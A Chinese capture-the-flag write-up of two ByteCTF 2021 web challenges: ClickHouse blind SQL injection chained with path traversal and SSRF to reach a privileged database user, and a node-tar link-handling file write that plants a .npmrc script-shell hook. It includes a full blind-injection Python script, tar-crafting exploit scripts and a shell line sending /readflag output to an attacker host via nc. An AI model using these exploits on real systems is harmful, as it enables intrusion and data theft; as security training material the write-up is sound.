ByteCTF 2021 Web WriteUp

一点感想

不愧是字节

比赛题目的质量还是很高的

相比平时打的很多其他比赛更能让人有去解题的欲望

虽然很难但是打得很开心

最后只做出来 double sqlieasy_extract

Web

double sqli

通过报错知道是个叫 ClickHouse 的 DBMS

语句是

SELECT ByteCTF from hello where 1=1

没有任何过滤,通过布尔盲注可以得到数据库内的数据


database: default
table: hello
column: ByteCTF
data: Welcome to ByteCTF


database: ctf
table: hint
column: id
data: you_dont_have_permissions_to_read_flag


ClickHouse version:21.3.2.5
database user: user_02


一开始以为是 CVE-2021-25263
但没有读文件的权限

user_02 的用户名猜测应该有一个 user_01 用户
user_01 用户应该有 user_02 用户所没有的权限,可以看到一些对 user_02 用户隐藏的表

ClickHouse 是通过 HTTP 协议来连接/管理数据库的
可以通过 URL 函数 ssrf 执行 ClickHouse HTTP 客户端的查询

SELECT field FROM url('http://127.0.0.1:8123/?username=user_02=password=123456&query=SELECT 1','LineAsString','field String')

但是没有账号密码

在 Web 应用的 /files/ 目录有文件浏览,尝试进行目录穿越
发现了任意文件读

http://39.105.116.246:30001/files../
http://39.105.116.246:30001/files../var/lib/clickhouse/access/users.list
http://39.105.116.246:30001/files../var/lib/clickhouse/access/a2492bae-77c4-e443-4fce-c04e47cd43a1.sql

a2492bae-77c4-e443-4fce-c04e47cd43a1.sql 文件内容如下

ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb'; ATTACH GRANT SELECT ON ctf.* TO user_01;

得到 user_01 的明文密码
user_01:e3b0c44298fc1c149afb

ctf 库的全部权限
构造请求

select name from system.tables
target = "field"
target_table = "url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2bname%2bfrom%2bsystem.tables%27,%27LineAsString%27,%27field%20String%27)"

得到 ctf 库中存在两张表,hintflag 表,然后继续得到 flag 表列名 flag
最后得到 flag

select flag from ctf.flag
target = "field"
target_table = "url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2bflag%2bfrom%2bctf.flag%27,%27LineAsString%27,%27field%20String%27)"

exp

import requests
import string

url_tpl = "http://39.105.116.246:30001/?id=1 and if({query},1,0)"

query_tpl_count = "count({target})"
query_tpl_length = "char_length(toString({target}))"
query_tpl_data = "(select mid(toString({target}),{offset},1) from {table} limit 1 offset {toffset})='{arg}'"

# target = "DATABASE()"
# target_table = "system.databases"
# target = "cluster"
# target_table = "system.clusters"
# target = "name"
# target_table = "system.dictionaries"
# target = "field"
# target_table = "url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2bname%2bfrom%2bsystem.tables%27,%27LineAsString%27,%27field%20String%27)"
target = "field"
target_table = "url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2bflag%2bfrom%2bctf.flag%27,%27LineAsString%27,%27field%20String%27)"

ascii_space = string.printable

def getCnt():
    result = ""
    offset = 1
    while True:
        flag = True
        query_target = query_tpl_count.format(target=target)
        for c in string.digits:
            query = query_tpl_data.format(target=query_target, offset=offset, arg=c, table=target_table, toffset=0)
            url = url_tpl.format(query=query)
            # print(url)
            res = requests.get(url)
            if "Welcome to ByteCTF" in res.text:
                # print(query)
                result += c
                print(result)
                flag = False
                break
        offset += 1
        if flag:
            break
    return int(result)


def getDataLen(cnt):
    toffset = 0
    for _ in range(cnt):
        result = ""
        offset = 1
        while True:
            flag = True
            query_target = query_tpl_length.format(target=target)
            for c in string.digits:
                query = query_tpl_data.format(target=query_target, offset=offset, arg=c, table=target_table, toffset=toffset)
                url = url_tpl.format(query=query)
                # print(query)
                res = requests.get(url)
                if "Welcome to ByteCTF" in res.text:
                    result += c
                    print(result)
                    flag = False
                    break
            offset += 1
            if flag:
                getData(int(toffset))
                break
        toffset += 1


def getData(toffset):
    result = ""
    offset = 1
    while True:
        flag = True
        for c in ascii_space:
            query = query_tpl_data.format(target=target, offset=offset, arg=c, table=target_table, toffset=toffset).replace('\\', '\\\\')
            url = url_tpl.format(query=query)
            # print(query)
            res = requests.get(url)
            if "Welcome to ByteCTF" in res.text:
                result += c
                print(result)
                flag = False
                break
        offset += 1
        if flag:
            break


cnt = getCnt()
getDataLen(cnt)
# getData()

easy_extract

查看 http 返回头,发现是个 nodejs 写的应用,用户上传 tar 压缩文件,后端解压后将压缩包里的文件名返回给前端。

访问 /robots.txt,发现有个 Dockerfile,内容为:

FROM node:current-alpine
ENV NODE_ENV=production
WORKDIR /app

ARG CHALL_FLAG
ENV CHALL_FLAG $CHALL_FLAG

RUN apk update && apk add bash musl-dev gcc

COPY ["package.json", "./"]
RUN npm install -g nodemon --registry=https://registry.npm.taobao.org && \
    npm install --production --registry=https://registry.npm.taobao.org

COPY . .
RUN echo $CHALL_FLAG > /flag && chmod 0600 /flag && gcc readflag.c -o /readflag  && chmod u+s /readflag && \
    mkdir /app/data && chmod -R 755 /app && chown -R node /app/data

USER node

CMD ["nodemon", "--exec", "npm start"]

2021 8月 nodejs tar 的两个 cve
https://portswigger.net/daily-swig/node-js-archives-serious-tar-handling-vulnerabilities-with-software-update

解压出来的文件默认是保存在 /app/data 里的,通过软链接与特殊名字的文件夹实现任意文件写

tar 里允许打包软链接,这里打包一个指向根目录的软链接

ln -s / ./111
tar -zcvf asd.tar ./111

上传 asd.tar, 页面返回结果

done. files:

111
111/app
111/bin
111/dev
111/etc
111/flag
...
111/readflag
...
111/home/node
...

由此可以覆盖 /app/data 外的东西,覆盖任意文件,这里写入了 /tmp/1

import tarfile
import os.path
from tarfile import TarInfo, SYMTYPE,REGTYPE,LNKTYPE,DIRTYPE

tarinfo1 = TarInfo()
tarinfo1.type= DIRTYPE
tarinfo1.name = "foo/1"
tarinfo3 = TarInfo()
tarinfo3.type= SYMTYPE
tarinfo3.name = "foo\\1"
tarinfo3.linkname = "/tmp"
tarinfo2 = TarInfo()
tarinfo2.type= LNKTYPE
tarinfo2.name = "foo\\1/1"
tarinfo2.linkname = "/app/data/123"

tar4 = TarInfo()
tar4.type = REGTYPE
tar4.name='123'

def make_tarfile(output_filename, ):
    with tarfile.open(output_filename, "w:gz") as tar:
        tar.addfile(tar4, open('test'))
        tar.addfile(tarinfo1,'test')
        tar.addfile(tarinfo3, 'test')
        tar.addfile(tarinfo2)

make_tarfile("a.tar")

从 Dockerfile 里得知,应用以 node 用户身份运行,只能修改 /app/data/home/node 文件夹下的东西。

nodemon 默认配置检测了 .*/**/*.js./**/*.json,当发生修改或有新文件创建的时候会重启,再次运行npm start 的时候,会加载当前用户下目录下的 .npmrc,可以向 .npmrc 注入一些选项。查阅 npm 的文档,script-shell 指定了执行 npm scripts 的 shell,默认 Windows上为 cmd.exe,posix 上为 bash,通过修改 script-shell 选项来在 nodemon 重启的时候执行我们想要的脚本。

传一个 xxx.sh 上去

#!/bin/sh
/readflag | nc vps_ip vps_port

vps 上 起一个 nc 监听 tcp 连接
.npmrc 内容

script-shell = /app/data/xxx.sh

生成 tar 文件:

import tarfile
import os.path
from tarfile import TarInfo, SYMTYPE,REGTYPE,LNKTYPE,DIRTYPE,AREGTYPE


tarinfo1 = TarInfo()
tarinfo1.type= DIRTYPE
tarinfo1.name = "ao/1"
tarinfo11 = TarInfo()
tarinfo11.type= DIRTYPE
tarinfo11.name = "ao/2"
tarinfo3 = TarInfo()
tarinfo3.type= SYMTYPE
tarinfo3.name = "ao\\1"
tarinfo3.linkname = "/home/node"
tarinfo31 = TarInfo()
tarinfo31.type= SYMTYPE
tarinfo31.name = "ao\\2"
tarinfo31.linkname = "/"
tarinfo2 = TarInfo()
tarinfo2.type= LNKTYPE
tarinfo2.name = "ao\\1/.npmrc"
tarinfo2.linkname = "/app/data/app.js"


def make_tarfile(output_filename, ):
    with tarfile.open(output_filename, "w:gz") as tar:
        tar.add('npmrc', recursive=False,arcname="app.js")
        tar.add("xxx.sh",recursive=False,arcname="xxx.sh")
        tar.addfile(tarinfo1)
        tar.addfile(tarinfo11)
        tar.addfile(tarinfo3)
        tar.addfile(tarinfo31)
        tar.addfile(tarinfo2)

make_tarfile("b.tar")

上传 b.tar,vps 上可看到 flag